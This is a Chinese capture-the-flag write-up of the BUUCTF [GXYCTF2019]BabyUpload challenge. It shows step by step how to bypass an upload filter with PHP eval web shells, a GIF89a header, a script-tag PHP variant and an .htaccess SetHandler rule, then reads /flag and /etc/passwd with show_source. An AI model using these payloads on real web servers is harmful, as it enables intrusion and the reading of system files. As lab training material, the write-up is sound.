BUUCTF——[GXYCTF2019]BabyUpload

BUUCTF——[GXYCTF2019]BabyUpload

1.上传嘛，直接丢正常的jpg文件进服务器

2.发现可以正常上传，并且回显出来啦文件上传的路径
/var/www/html/upload/7df22610744ec51e9cb7a8a8eb674374/1111.jpg

3.尝试上传一句话木马

<?php @eval($POST[123456]);?>

4.通过上面的回显可以看出来，检测到了php文件，尝试文件头进行绕过

GIF89a

<?php @eval($POST[123456]);?>

5.还是不得行，推测使用了<?php标签进行检测，尝试绕过
GIF89a
<script language="php">eval($_REQUEST[8])</script>

6.发现可以成功上传，尝试修改后缀名php,php3,php5,phtml

7.发现后缀名不能有ph，中间还尝试php%00，发现php版本过高不得行，发现可以上传.user.ini,尝试.user.ini绕过

auto_prepend_file=555.jpg

8.发现是可以上传的，但是呢无法解析，后面试了.htaccess发现可以，使用.htaccess可以成功getshell

.htaccess文件内容

SetHandler application/x-httpd-php

9.上传文件,文件内容为

GIF89a
<script language="php">eval($_REQUEST[8])</script>

10.成功getshell

11.蚁剑死活连接不上，太致命啦，重启了靶机，重新上传.htaccess

<FilesMatch "jpg">

  SetHandler application/x-httpd-php

</FilesMatch>

12.重新上传木马文件，还是连接不上

GIF89a
<script language="php">eval($_REQUEST[8])</script>

13.通过报错信息，发现禁用了系统函数

14.只能另辟蹊径啦，使用其他函数
show_source()函数

8=show_source('/flag',false);

15.成功读取文件信息

8=show_source('/etc/passwd',false);